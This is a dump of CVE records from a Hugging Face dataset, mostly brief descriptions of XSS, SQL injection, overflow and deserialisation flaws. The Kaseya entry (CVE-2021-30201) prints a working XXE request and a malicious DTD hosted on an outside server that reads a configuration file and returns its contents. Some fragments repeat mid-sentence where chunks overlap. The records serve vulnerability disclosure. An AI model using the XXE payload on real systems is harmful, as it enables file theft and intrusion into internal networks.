Kushalkhemka/embedding-cve-nvd-dataset huggingface dataset:
CVE ID: CVE-2021-30169 State: PUBLISHED Published: 2021-04-28T09:30:45.489038Z Last Updated: 2024-09-17T01:46:06.939Z Severity: MEDIUM (CVSS 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) Vendors: MERIT LILIN ENT.CO.,LTD. Products: P2/Z2/P3/Z3 IP camera firmware Problem Types: CWE-200 Description: The sensitive information of webcam device is not properly protected. Remote attackers can unauthentically grant user’s credential. Additional Analyst Notes: - CVE Program Container: References: - https://www.meritlilin.com/assets/uploads/support/file/M00166-TW.pdf - https://gist.github.com/keniver/86ebef688fb274b534da51ef1a84dd3e - https://www.chtsecurity.com/news/0b733a38-e616-4ff3-86a6-13e710
st.github.com/keniver/86ebef688fb274b534da51ef1a84dd3e - https://www.chtsecurity.com/news/0b733a38-e616-4ff3-86a6-13e710643388 - https://www.twcert.org.tw/tw/cp-132-4679-d308c-1.html
CVE ID: CVE-2021-30170 State: PUBLISHED Published: 2021-05-07T09:30:24.312833Z Last Updated: 2024-09-16T23:21:33.023Z Severity: MEDIUM (CVSS 4.6 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N) Vendors: Jun-He Technology Ltd. Products: ERP POS Problem Types: CWE-79 Description: Special characters of ERP POS customer profile page are not filtered in users’ input, which allow remote authenticated attackers can inject malicious JavaScript and carry out stored XSS (Stored Cross-site scripting) attacks, additionally access and manipulate customer’s information. Additional Analyst Notes: - CVE Program Container: References: - https://www.twcert.org.tw/tw/cp-132-4707-9c87e-1.html
CVE ID: CVE-2021-30171 State: PUBLISHED Published: 2021-05-07T09:30:24.945633Z Last Updated: 2024-09-17T01:35:45.061Z Severity: MEDIUM (CVSS 4.6 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N) Vendors: Jun-He Technology Ltd. Products: ERP POS Problem Types: CWE-79 Description: Special characters of ERP POS news page are not filtered in users’ input, which allow remote authenticated attackers can inject malicious JavaScript and carry out stored XSS (Stored Cross-site scripting) attacks, additionally access and manipulate customer’s information. Additional Analyst Notes: - CVE Program Container: References: - https://www.twcert.org.tw/tw/cp-132-4707-9c87e-1.html
CVE ID: CVE-2021-30172 State: PUBLISHED Published: 2021-05-07T09:30:25.577905Z Last Updated: 2024-09-17T00:51:32.182Z Severity: MEDIUM (CVSS 4.6 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N) Vendors: Jun-He Technology Ltd. Products: Quan-Fang-Wei-Tong-Xun system Problem Types: CWE-79 Description: Special characters of picture preview page in the Quan-Fang-Wei-Tong-Xun system are not filtered in users’ input, which allow remote authenticated attackers can inject malicious JavaScript and carry out Reflected XSS (Cross-site scripting) attacks, additionally access and manipulate customer’s information. Additional Analyst Notes: - CVE Program Container: References: - https://www.twcert.org.tw/tw/
e customer’s information. Additional Analyst Notes: - CVE Program Container: References: - https://www.twcert.org.tw/tw/cp-132-4711-04469-1.html
CVE ID: CVE-2021-30173 State: PUBLISHED Published: 2021-05-07T09:30:26.202808Z Last Updated: 2024-09-17T00:45:54.724Z Severity: MEDIUM (CVSS 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N) Vendors: Jun-He Technology Ltd. Products: Quan-Fang-Wei-Tong-Xun system Problem Types: CWE-36 Description: Local File Inclusion vulnerability of the omni-directional communication system allows remote authenticated attacker inject absolute path into Url parameter and access arbitrary file. Additional Analyst Notes: - CVE Program Container: References: - https://www.twcert.org.tw/tw/cp-132-4712-7ade4-1.html
CVE ID: CVE-2021-30174 State: PUBLISHED Published: 2021-05-11T06:10:19.089254Z Last Updated: 2024-09-16T20:22:31.132Z Severity: MEDIUM (CVSS 5.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) Vendors: RiyaLab Co., Ltd. Products: CloudISO Problem Types: CWE-79 Description: RiyaLab CloudISO event item is added, special characters in specific field of time management page are not properly filtered, which allow remote authenticated attackers can inject malicious JavaScript and carry out stored XSS (Stored Cross-site scripting) attacks. Additional Analyst Notes: - CVE Program Container: References: - https://www.twcert.org.tw/tw/cp-132-4718-f16df-1.html
CVE ID: CVE-2021-30175 State: PUBLISHED Published: 2021-04-13T13:44:01 Last Updated: 2024-08-03T22:24:59.775Z Vendors: n/a Products: n/a Problem Types: n/a Description: ZEROF Web Server 1.0 (April 2021) allows SQL Injection via the /HandleEvent endpoint for the login page. Additional Analyst Notes: - CVE Program Container: References: - https://pro.zerof.ru - https://github.com/awillix/research/blob/main/cve/CVE-2021-30175.md
CVE ID: CVE-2021-30176 State: PUBLISHED Published: 2021-04-13T13:47:31 Last Updated: 2024-08-03T22:24:59.591Z Vendors: n/a Products: n/a Problem Types: n/a Description: The ZEROF Expert pro/2.0 application for mobile devices allows SQL Injection via the Authorization header to the /v2/devices/add endpoint. Additional Analyst Notes: - CVE Program Container: References: - https://pro.zerof.ru - https://github.com/awillix/research/blob/main/cve/CVE-2021-30176.md
CVE ID: CVE-2021-30177 State: PUBLISHED Published: 2021-04-07T10:48:16 Last Updated: 2024-08-03T22:24:59.586Z Vendors: n/a Products: n/a Problem Types: n/a Description: There is a SQL Injection vulnerability in PHP-Nuke 8.3.3 in the User Registration section, leading to remote code execution. This occurs because the U.S. state is not validated to be two letters, and the OrderBy field is not validated to be one of LASTNAME, CITY, or STATE. Additional Analyst Notes: - CVE Program Container: References: - https://gist.github.com/stacksmasher007/41e946fc9a5a2f0b6950626cc9d43d47
CVE ID: CVE-2021-30178 State: PUBLISHED Published: 2021-04-06T23:29:00 Last Updated: 2024-08-03T22:24:59.677Z Vendors: n/a Products: n/a Problem Types: n/a Description: An issue was discovered in the Linux kernel through 5.11.11. synic_get in arch/x86/kvm/hyperv.c has a NULL pointer dereference for certain accesses to the SynIC Hyper-V context, aka CID-919f4ebc5987. Additional Analyst Notes: - CVE Program Container: References: - https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=919f4ebc598701670e80e31573a58f1f2d2bf918 - https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/W5YFGIIF24475A2LNW3UWHW2SNCS3G7M/ - https://list
ct.org/archives/list/package-announce%40lists.fedoraproject.org/message/W5YFGIIF24475A2LNW3UWHW2SNCS3G7M/ - https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/TGQDVYCDM3F5VXUZIADIV2ERL3AJXNJS/ - https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/IJ5GEETMX3ERQ4DF3GSS2XPNSOOK44OB/
CVE ID: CVE-2021-30179 State: PUBLISHED Published: 2021-05-31T07:25:13 Last Updated: 2024-08-03T22:24:59.625Z Vendors: Apache Software Foundation Products: Apache Dubbo Problem Types: Remote Code Execution Description: Apache Dubbo prior to 2.6.9 and 2.7.9 by default supports generic calls to arbitrary methods exposed by provider interfaces. These invocations are handled by the GenericFilter which will find the service and method specified in the first arguments of the invocation and use the Java Reflection API to make the final call. The signature for the $invoke or $invokeAsync methods is Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object; where the first argument is the name of the m
eAsync methods is Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object; where the first argument is the name of the method to invoke, the second one is an array with the parameter types for the method being invoked and the third one is an array with the actual call arguments. In addition, the caller also needs to set an RPC attachment specifying that the call is a generic call and how to decode the arguments. The possible values are: - true - raw.return - nativejava - bean - protobuf-json An attacker can control this RPC attachment and set it to nativejava to force the java deserialization of the byte array located in the third argument. Additional Analyst Notes: - CVE Program Container:
ava deserialization of the byte array located in the third argument. Additional Analyst Notes: - CVE Program Container: References: - https://lists.apache.org/thread.html/rccbcbdd6593e42ea3a1e8fedd12807cb111375c9c40edb005ef36f67%40%3Cdev.dubbo.apache.org%3E - https://lists.apache.org/thread.html/rccbcbdd6593e42ea3a1e8fedd12807cb111375c9c40edb005ef36f67%40%3Cdev.dubbo.apache.org%3E
CVE ID: CVE-2021-30180 State: PUBLISHED Published: 2021-05-31T07:25:14 Last Updated: 2024-08-03T22:24:59.649Z Vendors: Apache Software Foundation Products: Apache Dubbo Problem Types: Remote Code Execution Description: Apache Dubbo prior to 2.7.9 support Tag routing which will enable a customer to route the request to the right server. These rules are used by the customers when making a request in order to find the right endpoint. When parsing these YAML rules, Dubbo customers may enable calling arbitrary constructors. Additional Analyst Notes: - CVE Program Container: References: - https://lists.apache.org/thread.html/raed526465e56204030ddf374b1959478a290e7511971d7aba2e9e39b%40%3Cdev.dubbo.
rences: - https://lists.apache.org/thread.html/raed526465e56204030ddf374b1959478a290e7511971d7aba2e9e39b%40%3Cdev.dubbo.apache.org%3E
CVE ID: CVE-2021-30181 State: PUBLISHED Published: 2021-05-29T07:30:12 Last Updated: 2024-08-03T22:24:59.650Z Vendors: Apache Software Foundation Products: Apache Dubbo Problem Types: Script Injection Description: Apache Dubbo prior to 2.6.9 and 2.7.9 supports Script routing which will enable a customer to route the request to the right server. These rules are used by the customers when making a request in order to find the right endpoint. When parsing these rules, Dubbo customers use ScriptEngine and run the rule provided by the script which by default may enable executing arbitrary code. Additional Analyst Notes: - CVE Program Container: References: - https://lists.apache.org/thread.html/r
arbitrary code. Additional Analyst Notes: - CVE Program Container: References: - https://lists.apache.org/thread.html/re22410dc704a09bc7032ddf15140cf5e7df3e8ece390fc9032ff5587%40%3Cdev.dubbo.apache.org%3E
CVE ID: CVE-2021-30183 State: PUBLISHED Published: 2021-05-14T10:36:18 Last Updated: 2024-08-03T22:24:59.688Z Vendors: n/a Products: n/a Problem Types: n/a Description: Cleartext storage of sensitive information in multiple versions of Octopus Server where in certain situations when running import or export processes, the password used to encrypt and decrypt sensitive values would be written to the logs in plaintext. Additional Analyst Notes: - CVE Program Container: References: - https://github.com/OctopusDeploy/Issues - https://advisories.octopus.com/adv/2021-03---Cleartext-Storage-of-Sensitive-Information-%28CVE-2021-30183%29.1817083941.html
CVE ID: CVE-2021-30184 State: PUBLISHED Published: 2021-04-07T11:30:55 Last Updated: 2025-01-12T21:02:32.373Z Vendors: n/a Products: n/a Problem Types: n/a Description: GNU Chess 6.2.7 allows attackers to execute arbitrary code via crafted PGN (Portable Game Notation) data. This is related to a buffer overflow in the use of a .tmp.epd temporary file in the cmd_pgnload and cmd_pgnreplay functions in frontend/cmd.cc. Additional Analyst Notes: - CVE Program Container: References: - https://lists.gnu.org/archive/html/bug-gnu-chess/2021-04/msg00000.html - https://lists.gnu.org/archive/html/bug-gnu-chess/2021-04/msg00001.html - https://lists.fedoraproject.org/archives/list/package-announce%40lists
rchive/html/bug-gnu-chess/2021-04/msg00001.html - https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/XXOTMUSBVUZNA3JMPG6BU37DQW2YOJWS/ - https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/QC74RWMDLSQGV6Z3ZABNTPABB33S4YNF/ - https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/SOGPLC77ZL2FACSOE5MWDS3YH3RBNQAQ/ - https://security.gentoo.org/glsa/202107-28
CVE ID: CVE-2021-30185 State: PUBLISHED Published: 2021-04-07T13:25:41 Last Updated: 2024-08-03T22:24:59.597Z Vendors: n/a Products: n/a Problem Types: n/a Description: CERN Indico before 2.3.4 can use an attacker-supplied Host header in a password reset link. Additional Analyst Notes: - CVE Program Container: References: - https://www.shorebreaksecurity.com/blog/ - https://github.com/indico/indico/releases/tag/v2.3.4
CVE ID: CVE-2021-30186 State: PUBLISHED Published: 2021-05-25T12:33:12 Last Updated: 2024-08-03T22:24:59.627Z Vendors: n/a Products: n/a Problem Types: n/a Description: CODESYS V2 runtime system SP before 2.4.7.55 has a Heap-based Buffer Overflow. Additional Analyst Notes: - CVE Program Container: References: - https://customers.codesys.com/index.php - https://customers.codesys.com/index.php?eID=dumpFile&t=f&f=14725&token=08691519ef764b252630759eff925890176ecd78&download=
CVE ID: CVE-2021-30187 State: PUBLISHED Published: 2021-05-25T11:47:16 Last Updated: 2024-08-03T22:24:59.615Z Vendors: n/a Products: n/a Problem Types: n/a Description: CODESYS V2 runtime system SP before 2.4.7.55 has Improper Neutralization of Special Elements used in an OS Command. Additional Analyst Notes: - CVE Program Container: References: - https://customers.codesys.com/index.php - https://customers.codesys.com/index.php?eID=dumpFile&t=f&f=14727&token=25159b0fc4355f4c6bc2e074a519a9d0cdb23fbb&download=
CVE ID: CVE-2021-30188 State: PUBLISHED Published: 2021-05-25T12:33:16 Last Updated: 2024-08-03T22:24:59.559Z Vendors: n/a Products: n/a Problem Types: n/a Description: CODESYS V2 runtime system SP before 2.4.7.55 has a Stack-based Buffer Overflow. Additional Analyst Notes: - CVE Program Container: References: - https://customers.codesys.com/index.php - https://customers.codesys.com/index.php?eID=dumpFile&t=f&f=14725&token=08691519ef764b252630759eff925890176ecd78&download=
CVE ID: CVE-2021-30189 State: PUBLISHED Published: 2021-05-25T12:09:10 Last Updated: 2024-08-03T22:24:59.628Z Vendors: n/a Products: n/a Problem Types: n/a Description: CODESYS V2 Web-Server before 1.1.9.20 has a Stack-based Buffer Overflow. Additional Analyst Notes: - CVE Program Container: References: - https://customers.codesys.com/index.php - https://customers.codesys.com/index.php?eID=dumpFile&t=f&f=14726&token=553da5d11234bbe1ceed59969d419a71bb8c8747&download=
CVE ID: CVE-2021-30190 State: PUBLISHED Published: 2021-05-25T12:09:16 Last Updated: 2024-08-03T22:24:59.673Z Vendors: n/a Products: n/a Problem Types: n/a Description: CODESYS V2 Web-Server before 1.1.9.20 has Improper Access Control. Additional Analyst Notes: - CVE Program Container: References: - https://customers.codesys.com/index.php - https://customers.codesys.com/index.php?eID=dumpFile&t=f&f=14726&token=553da5d11234bbe1ceed59969d419a71bb8c8747&download=
CVE ID: CVE-2021-30191 State: PUBLISHED Published: 2021-05-25T12:09:22 Last Updated: 2024-08-03T22:24:59.674Z Vendors: n/a Products: n/a Problem Types: n/a Description: CODESYS V2 Web-Server before 1.1.9.20 has a a Buffer Copy without Checking the Size of the Input. Additional Analyst Notes: - CVE Program Container: References: - https://customers.codesys.com/index.php - https://customers.codesys.com/index.php?eID=dumpFile&t=f&f=14726&token=553da5d11234bbe1ceed59969d419a71bb8c8747&download=
CVE ID: CVE-2021-30192 State: PUBLISHED Published: 2021-05-25T12:09:28 Last Updated: 2024-08-03T22:24:59.647Z Vendors: n/a Products: n/a Problem Types: n/a Description: CODESYS V2 Web-Server before 1.1.9.20 has an Improperly Implemented Security Check. Additional Analyst Notes: - CVE Program Container: References: - https://customers.codesys.com/index.php - https://customers.codesys.com/index.php?eID=dumpFile&t=f&f=14726&token=553da5d11234bbe1ceed59969d419a71bb8c8747&download=
CVE ID: CVE-2021-30193 State: PUBLISHED Published: 2021-05-25T12:09:33 Last Updated: 2024-08-03T22:24:59.625Z Vendors: n/a Products: n/a Problem Types: n/a Description: CODESYS V2 Web-Server before 1.1.9.20 has an Out-of-bounds Write. Additional Analyst Notes: - CVE Program Container: References: - https://customers.codesys.com/index.php - https://customers.codesys.com/index.php?eID=dumpFile&t=f&f=14726&token=553da5d11234bbe1ceed59969d419a71bb8c8747&download=
CVE ID: CVE-2021-30194 State: PUBLISHED Published: 2021-05-25T12:09:38 Last Updated: 2024-08-03T22:24:59.599Z Vendors: n/a Products: n/a Problem Types: n/a Description: CODESYS V2 Web-Server before 1.1.9.20 has an Out-of-bounds Read. Additional Analyst Notes: - CVE Program Container: References: - https://customers.codesys.com/index.php - https://customers.codesys.com/index.php?eID=dumpFile&t=f&f=14726&token=553da5d11234bbe1ceed59969d419a71bb8c8747&download=
CVE ID: CVE-2021-30195 State: PUBLISHED Published: 2021-05-25T12:33:21 Last Updated: 2024-08-03T22:24:59.565Z Vendors: n/a Products: n/a Problem Types: n/a Description: CODESYS V2 runtime system before 2.4.7.55 has Improper Input Validation. Additional Analyst Notes: - CVE Program Container: References: - https://customers.codesys.com/index.php - https://customers.codesys.com/index.php?eID=dumpFile&t=f&f=14725&token=08691519ef764b252630759eff925890176ecd78&download=
CVE ID: CVE-2021-30199 State: PUBLISHED Published: 2021-04-19T19:34:08 Last Updated: 2024-08-03T22:24:59.633Z Vendors: n/a Products: n/a Problem Types: n/a Description: In filters/reframe_latm.c in GPAC 1.0.1 there is a Null Pointer Dereference, when gf_filter_pck_get_data is called. The first arg pck may be null with a crafted mp4 file,which results in a crash. Additional Analyst Notes: - CVE Program Container: References: - https://github.com/gpac/gpac/issues/1728 - https://github.com/gpac/gpac/commit/b2db2f99b4c30f96e17b9a14537c776da6cb5dca
CVE ID: CVE-2021-30201 State: PUBLISHED Published: 2021-07-09T13:25:37 Last Updated: 2024-08-03T22:24:59.560Z Severity: HIGH (CVSS 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) Vendors: n/a Products: n/a Problem Types: n/a Description: The API /vsaWS/KaseyaWS.asmx can be used to submit XML to the system. When this XML is processed (external) entities are insecurely processed and fetched by the system and returned to the attacker. Detailed description Given the following request: ``` POST /vsaWS/KaseyaWS.asmx HTTP/1.1 Content-Type: text/xml;charset=UTF-8 Host: 192.168.1.194:18081 Content-Length: 406 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:kas="Kas
194:18081 Content-Length: 406 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:kas="KaseyaWS"> <soapenv:Header/> <soapenv:Body> <kas:PrimitiveResetPassword> <!--type: string--> <kas:XmlRequest><![CDATA[<!DOCTYPE data SYSTEM "http://192.168.1.170:8080/oob.dtd"><data>&send;</data>]]> </kas:XmlRequest> </kas:PrimitiveResetPassword> </soapenv:Body> </soapenv:Envelope> ``` And the following XML file hosted at http://192.168.1.170/oob.dtd: ``` <!ENTITY % file SYSTEM "file://c:\\kaseya\\kserver\\kserver.ini"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; ``` The server will fetch this XML file and process it, it will re
SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; ``` The server will fetch this XML file and process it, it will read the file c:\\kaseya\\kserver\\kserver.ini and returns the content in the server response like below. Response: ``` HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Type: text/xml; charset=utf-8 Date: Fri, 02 Apr 2021 10:07:38 GMT Strict-Transport-Security: max-age=63072000; includeSubDomains Connection: close Content-Length: 2677 <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><soap:Faul
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><soap:Fault><faultcode>soap:Server</faultcode><faultstring>Server was unable to process request. ---&gt; There is an error in XML document (24, -1000).\r\n\r\nSystem.Xml.XmlException: Fragment identifier '######################################################################## # This is the configuration file for the KServer. # Place it in the same directory as the KServer executable # A blank line or new valid section header [] terminates each section. # Comment lines start with ; or # ######################################################################## <snip> ``` Security issue
nes start with ; or # ######################################################################## <snip> ``` Security issues discovered --- * The API insecurely resolves external XML entities * The API has an overly verbose error response Impact --- Using this vulnerability an attacker can read any file on the server the webserver process can read. Additionally, it can be used to perform HTTP(s) requests into the local network and thus use the Kaseya system to pivot into the local network. Additional Analyst Notes: - CVE Program Container: References: - https://csirt.divd.nl/2021/07/07/Kaseya-Limited-Disclosure/ - https://helpdesk.kaseya.com/hc/en-gb/articles/360019966738-9-5-6-Feature-Release-
021/07/07/Kaseya-Limited-Disclosure/ - https://helpdesk.kaseya.com/hc/en-gb/articles/360019966738-9-5-6-Feature-Release-8-May-2021 - https://csirt.divd.nl/DIVD-2021-00011 - https://csirt.divd.nl/CVE-2021-30201
CVE ID: CVE-2021-30203 State: PUBLISHED Published: 2023-06-27T00:00:00 Last Updated: 2024-12-04T21:02:23.890Z Vendors: n/a Products: n/a Problem Types: n/a Description: A reflected cross-site scripting (XSS) vulnerability in the zero parameter of dzzoffice 2.02.1_SC_UTF8 allows attackers to execute arbitrary web scripts or HTML. Additional Analyst Notes: - CVE Program Container: - CISA ADP Vulnrichment: References: - https://github.com/zyx0814/dzzoffice/issues/183
CVE ID: CVE-2021-30205 State: PUBLISHED Published: 2023-06-27T00:00:00 Last Updated: 2024-12-05T14:17:41.351Z Vendors: n/a Products: n/a Problem Types: n/a Description: Incorrect access control in the component /index.php?mod=system&op=orgtree of dzzoffice 2.02.1_SC_UTF8 allows unauthenticated attackers to browse departments and usernames. Additional Analyst Notes: - CVE Program Container: - CISA ADP Vulnrichment: References: - https://github.com/zyx0814/dzzoffice/issues/184
CVE ID: CVE-2021-30209 State: PUBLISHED Published: 2021-04-15T13:14:47 Last Updated: 2024-08-03T22:24:59.643Z Vendors: n/a Products: n/a Problem Types: n/a Description: Textpattern V4.8.4 contains an arbitrary file upload vulnerability where a plug-in can be loaded in the background without any security verification, which may lead to obtaining system permissions. Additional Analyst Notes: - CVE Program Container: References: - https://github.com/textpattern/textpattern/issues/1655
CVE ID: CVE-2021-30211 State: PUBLISHED Published: 2021-05-12T16:12:03 Last Updated: 2024-08-03T22:24:59.683Z Vendors: n/a Products: n/a Problem Types: n/a Description: Knowage Suite 7.3 is vulnerable to Stored Cross-Site Scripting (XSS). An attacker can inject arbitrary web script in '/knowage/restful-services/signup/update' via the 'surname' parameter. Additional Analyst Notes: - CVE Program Container: References: - https://github.com/piuppi/Proof-of-Concepts/blob/main/Engineering/Stored-XSS-KnowageSuite7-3-surname.md
CVE ID: CVE-2021-30212 State: PUBLISHED Published: 2021-05-12T16:14:10 Last Updated: 2024-08-03T22:24:59.613Z Vendors: n/a Products: n/a Problem Types: n/a Description: Knowage Suite 7.3 is vulnerable to Stored Cross-Site Scripting (XSS). An attacker can inject arbitrary web script in '/knowage/restful-services/documentnotes/saveNote' via the 'nota' parameter. Additional Analyst Notes: - CVE Program Container: References: - https://github.com/piuppi/Proof-of-Concepts/blob/main/Engineering/Stored-XSS-KnowageSuite7-3-notes.md